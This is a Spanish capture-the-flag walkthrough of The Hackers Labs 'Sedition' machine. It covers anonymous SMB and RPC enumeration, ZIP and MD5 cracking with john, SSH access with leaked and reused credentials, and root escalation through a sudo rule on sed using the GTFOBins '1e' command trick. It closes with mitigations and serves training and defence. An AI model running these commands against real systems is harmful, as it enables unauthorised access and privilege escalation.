‹ cd4cwj / writeups
root@cd4cwj:~$ cat writeups/sedition.md

Sedition

adkerberos

Sedition

Máquina: The Hackers Labs — Sedition Sistema operativo objetivo: Debian 12 “Bookworm” Vector de entrada: SMB anónimo → ZIP protegido → contraseña filtrada → enumeración de usuarios por RPC → SSH en puerto no estándar Movimiento lateral: Credenciales reutilizadas en MariaDB local → hash de otro usuario del sistema → su Escalada de privilegios: sudo mal configurado sobre /usr/bin/sed (GTFOBins)

Resumen de flags

Flag Valor Usuario
Usuario (flag.txt) ████████████ debian
Root (root.txt) ████████████ root

Nota sobre las IPs: aquí la máquina objetivo es 192.168.56.103, atacante (Kali) 192.168.56.1. Confírmalas con un escaneo de red (paso 1.1), pueden variar según el orden de arranque de las VMs.

Herramientas necesarias

sudo apt-get install -y smbclient sshpass
# el resto (nmap, john, zip2john, rpcclient, mysql-client) ya viene en Kali

Fase 0 — Montar la máquina virtual

Idéntico a las anteriores:

unzip "The Hackers Labs - Sedition.zip"

VBoxManage import "The Hackers Labs - Sedition.ova" \
  --vsys 0 --vmname "TheHackersLabs-Sedition"

VBoxManage modifyvm "TheHackersLabs-Sedition" \
  --nic1 hostonly --hostonlyadapter1 vboxnet0

VBoxManage startvm "TheHackersLabs-Sedition" --type headless

Fase 1 — Reconocimiento de red

1.1 Localizar la IP

nmap -sn 192.168.56.100-200

Descarta la .100 (DHCP virtual de VirtualBox); la VM es la otra IP que aparezca.

1.2 Escaneo completo de puertos

Por qué escaneo siempre los 65535 puertos desde el principio: en las máquinas anteriores aprendimos que servicios clave se esconden fuera del top-1000. Aquí la lección se confirma todavía más: el propio SSH está en un puerto exótico.

nmap -p- --min-rate 3000 -Pn 192.168.56.103

Resultado:

139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
65535/tcp open  unknown

Nada de HTTP ni de SSH en el 22 — la superficie de ataque esta vez es exclusivamente SMB, y hay un puerto misterioso al final del rango.

1.3 Identificar los servicios

nmap -sV -sC -Pn -p 139,445,65535 192.168.56.103

Resultado relevante:

139/tcp   Samba smbd 4
445/tcp   Samba smbd 4
65535/tcp OpenSSH 9.2p1 Debian 2+deb12u6
NetBIOS name: SEDITION

El puerto 65535 resulta ser SSH, simplemente movido del 22 por defecto — una técnica de “seguridad por oscuridad” que no detiene un escaneo completo, solo lo retrasa un poco.

Fase 2 — Enumeración SMB

2.1 ¿Qué es SMB y por qué probar sesión anónima?

SMB (Server Message Block) es el protocolo de Windows para compartir archivos en red; Samba es la implementación de Linux. Muchos servidores SMB, sobre todo mal configurados, permiten una sesión nula — conectarse sin usuario ni contraseña — para listar qué recursos (“shares”) existen. Es lo primero que se prueba siempre.

smbclient -L //192.168.56.103/ -N

Resultado:

Sharename       Type      Comment
---------       ----      -------
print$          Disk      Printer Drivers
backup          Disk
IPC$            IPC       IPC Service (Samba Server)
nobody          Disk      Home Directories

print$ e IPC$ son shares administrativos estándar de Samba (no interesan). backup y nobody son específicos de esta máquina.

2.2 Explorar cada share accesible

smbclient //192.168.56.103/print$ -N -c "ls"   # NT_STATUS_ACCESS_DENIED
smbclient //192.168.56.103/backup -N -c "ls"   # accesible!
smbclient //192.168.56.103/nobody -N -c "ls"   # NT_STATUS_ACCESS_DENIED

backup es de lectura libre para sesión anónima y contiene:

secretito.zip    216 bytes

2.3 Descargar el archivo

smbclient //192.168.56.103/backup -N -c "get secretito.zip"

Fase 3 — Crackear el ZIP protegido

3.1 Comprobar que pide contraseña

unzip -l secretito.zip     # lista el contenido sin problema: contiene un archivo llamado "password"
unzip secretito.zip        # pide contraseña -> "unable to get password"

Nombrar el archivo interno literalmente password es la pista del creador de la máquina de que ahí dentro hay, precisamente, una contraseña.

3.2 Extraer el hash del ZIP para crackearlo

Qué hace zip2john: convierte la información de cifrado del ZIP a un formato que john puede atacar por fuerza bruta/diccionario — no “abre” el zip directamente, prepara el “hash” equivalente de su protección.

zip2john secretito.zip > secretito.john
john --wordlist=/usr/share/wordlists/rockyou.txt secretito.john
john --show secretito.john

Resultado: contraseña del ZIP = sebastian.

3.3 Extraer y leer el contenido

unzip -P "sebastian" secretito.zip -d secretito_out
cat secretito_out/password

Resultado:

elbunkermolagollon123

Una contraseña — pero de quién? Aún no tenemos usuario.

Fase 4 — Enumerar usuarios del sistema vía SMB/RPC

4.1 ¿Qué es RPC y por qué sirve para esto?

Samba, además de compartir archivos, expone servicios RPC (Remote Procedure Call) que Windows usa para gestión remota — entre ellos, consultar la lista de usuarios del dominio/sistema (SAMR). Si el servidor permite sesión nula también en RPC (muy común en configuraciones por defecto de Samba), podemos listar cuentas de usuario sin credenciales.

rpcclient -U "" -N //192.168.56.103 -c "enumdomusers"

Resultado:

user:[cowboy] rid:[0x3e8]

Ahí está: el usuario del sistema es cowboy.

Fase 5 — Acceso inicial por SSH

Con usuario (cowboy) y contraseña (elbunkermolagollon123) filtrada del ZIP, probamos el SSH que encontramos en el puerto no estándar:

sshpass -p 'elbunkermolagollon123' ssh -p 65535 \
  -o PreferredAuthentications=password -o PubkeyAuthentication=no \
  [email protected] 'id'

Resultado: acceso concedido, uid=1001(cowboy).

Pero no hay flag de usuario en su home — hay que seguir investigando. Este usuario no es el objetivo final, es un peldaño.

Fase 6 — Pivotar a otro usuario: MariaDB local

6.1 Revisar pistas dejadas por el propio sistema

Una buena costumbre nada más entrar: mirar el historial de comandos, por si el usuario legítimo dejó pistas de su propio flujo de trabajo.

cat ~/.bash_history

Resultado:

history
exit
mariadb
mariadb -u cowboy -pelbunkermolagollon123
su debian

Tres datos de oro: 1. Hay una base de datos MariaDB local. 2. cowboy se conecta a ella reutilizando su misma contraseña. 3. El usuario intentó convertirse en debian — el verdadero dueño de la flag (visible en /etc/passwd, uid 1000, el primer usuario “humano” del sistema, típico de las imágenes base de Debian/Raspbian).

6.2 Explorar la base de datos

mysql -u cowboy -pelbunkermolagollon123 -e "SHOW DATABASES;"

Resultado: base de datos bunker (además de la information_schema estándar).

mysql -u cowboy -pelbunkermolagollon123 -e "USE bunker; SHOW TABLES;"
mysql -u cowboy -pelbunkermolagollon123 -e "USE bunker; SELECT * FROM users;"

Resultado:

user     password
debian   ████████████

Otro hash MD5 (32 caracteres hex) — la contraseña de debian, guardada en texto claro… bueno, en hash débil, dentro de la propia base de datos a la que cowboy tiene acceso.

6.3 Crackear el hash

echo "████████████" > debian_hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt debian_hash.txt
john --format=raw-md5 --show debian_hash.txt

Resultado: password1.

6.4 Cambiar de usuario

su debian
# contraseña: password1

su (substitute user) pide la contraseña del usuario destino (a diferencia de sudo, que pide la del usuario actual) — por eso necesitábamos crackear específicamente el hash de debian, no el de cowboy.

Fase 7 — Capturar la flag de usuario

id                  # uid=1000(debian)
ls -la ~
cat ~/flag.txt

Resultado:

████████████

Fase 8 — Enumeración para escalada de privilegios

Lo primero, siempre, comprobar qué puede hacer este usuario con sudo:

sudo -l

Resultado:

User debian may run the following commands on sedition:
    (ALL) NOPASSWD: /usr/bin/sed

debian puede ejecutar /usr/bin/sed como cualquier usuario (incluido root) sin que se le pida contraseña. sed es un editor de texto por línea de comandos — en principio inofensivo, pero tiene una función poco conocida que lo convierte en una vía directa a la ejecución de comandos arbitrarios.

8.1 ¿Qué es GTFOBins?

GTFOBins es un catálogo público de binarios Unix “legítimos” (no exploits, no malware) que, mal configurados con sudo, SUID o capabilities, permiten saltarse restricciones de seguridad — leer archivos, escribir archivos o ejecutar comandos con privilegios que no deberían tener. sed está en esa lista gracias a su comando interno e (execute).

8.2 El comando e de sed

GNU sed permite ejecutar un comando de shell arbitrario y usar (o descartar) su salida, con la sintaxis direccion e comando. Por ejemplo, 1e id significa: “en la línea 1, ejecuta el comando id y muestra su resultado”. Como sed se está ejecutando como root (vía sudo, sin contraseña), el comando que le pidamos ejecutar también corre como root.

sudo sed -n '1e id' /etc/hosts

Resultado:

uid=0(root) gid=0(root) grupos=0(root)

Confirmado: ejecución de comandos como root.

Fase 9 — Capturar la flag de root

sudo sed -n '1e cat /root/root.txt' /etc/hosts

Resultado:

████████████

🚩 Root conseguido, sin necesidad de abrir una shell interactiva — con sed basta con pedirle que ejecute el comando exacto que necesitamos cada vez.

Si se quisiera una shell interactiva completa (para explorar más cómodamente): sudo sed -n '1e /bin/bash' /etc/hosts — pero para el objetivo de este reto, leer el archivo directamente es más rápido y no depende de tener una terminal interactiva abierta.

Fase 10 — Limpieza

No se modificó ni escribió ningún archivo en el sistema objetivo durante todo el ataque — todo fue lectura (shares SMB, ZIP, base de datos, archivos de flag) y ejecución puntual de comandos vía sed. No hace falta restaurar nada.

Resumen de la cadena de ataque

nmap -p- (65535 puertos) → SMB (139/445) + SSH en puerto 65535
        │
        ▼
Sesión SMB anónima → share "backup" → secretito.zip
        │
        ▼
zip2john + john → contraseña del zip: "sebastian"
   → dentro: "elbunkermolagollon123" (contraseña filtrada, aún sin usuario)
        │
        ▼
rpcclient (sesión RPC nula) → enumdomusers → usuario "cowboy"
        │
        ▼
SSH -p 65535 cowboy:elbunkermolagollon123 → acceso, sin flag aquí
        │
        ▼
.bash_history de cowboy → pista: MariaDB local + intento "su debian"
        │
        ▼
mysql -u cowboy (misma contraseña reutilizada) → BD "bunker" → tabla "users"
   → hash MD5 de la contraseña de "debian"
        │
        ▼
john --format=raw-md5 → contraseña: "password1"
        │
        ▼
su debian → flag de usuario
        │
        ▼
sudo -l → NOPASSWD sobre /usr/bin/sed
   → GTFOBins: sudo sed -n '1e <comando>' archivo
        │
        ▼
Ejecución de comandos como root → flag de root

Causas raíz y mitigación

Debilidad Mitigación recomendada
Sesión SMB anónima habilitada, con un share de lectura pública Deshabilitar acceso guest/anónimo en Samba (map to guest = never, restrict anonymous); restringir shares por usuario/grupo explícito
Archivo sensible (“contraseña filtrada”) dentro de un share, aunque protegido con ZIP Un ZIP con contraseña no es control de acceso — cualquiera con el archivo puede intentar crackearlo offline sin límite de intentos; los secretos no deben vivir en shares de archivos
Enumeración RPC de usuarios permitida con sesión nula Restringir rpcclient/SAMR a usuarios autenticados (restrict anonymous = 2 en smb.conf)
SSH en puerto no estándar como única medida de protección La ofuscación de puertos no sustituye controles reales (autenticación por clave, fail2ban, restricción por IP) — un escaneo completo la revela en segundos
Contraseña de un usuario reutilizada también para su cuenta de base de datos Contraseñas distintas por servicio; nunca la misma credencial para SO y aplicaciones
Hash MD5 sin sal almacenado en una tabla de base de datos accesible Igual que en Constanza Robotics: usar bcrypt/argon2, nunca MD5, para credenciales
sudo con NOPASSWD sobre un binario genérico como sed Nunca dar acceso sudo sin restricciones a binarios que puedan leer/escribir archivos arbitrarios o ejecutar comandos (ver catálogo GTFOBins antes de autorizar cualquier entrada en sudoers)

«Los que viven son los que luchan.»
— Victor Hugo, Los castigos